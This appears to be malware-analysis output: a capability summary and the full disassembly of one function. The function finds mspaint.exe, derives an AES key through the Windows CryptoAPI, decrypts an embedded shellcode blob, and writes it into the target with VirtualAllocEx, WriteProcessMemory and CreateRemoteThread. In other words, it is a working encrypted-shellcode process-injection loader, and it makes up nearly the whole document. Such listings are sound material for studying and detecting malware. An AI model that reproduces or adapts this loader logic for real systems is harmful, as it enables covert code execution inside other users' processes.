Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x144
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x140], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401230
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4010bf
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x20]
push eax
push esi
call ebx
test eax, eax
je 0x4010e1
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [esp + 0x44]
push eax
push str.mspaint.exe
call edi
test eax, eax
je 0x4010dd
lea eax, [esp + 0x20]
push eax
push esi
call ebx
test eax, eax
jne 0x4010a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x140]
xor ecx, esp
call fcn.00401247
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
test edi, edi
je 0x401230
push edi
push str.mspaint.exe_PID___d_n
call fcn.00401010
add esp, 8
push edi
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x401230
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x2c], 0xc2410
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4011cd
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4011cd
push 0
push 0x10
push 0x4ddd00
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4011cd
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x1c]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x4011cd
lea eax, [esp + 0x1c]
push eax
push 0x41b8f0
push 0
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x4011cd
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0x40
push 0x1000
push 0xc2410
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0xc2410
push 0x41b8f0
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
push str.Thread_Handle___x_n
call fcn.00401010
add esp, 8
test esi, esi
je 0x40122d
push 0x1f4
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
push edi
call ebx
mov ecx, dword [esp + 0x14c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401247
mov esp, ebp
pop ebp
ret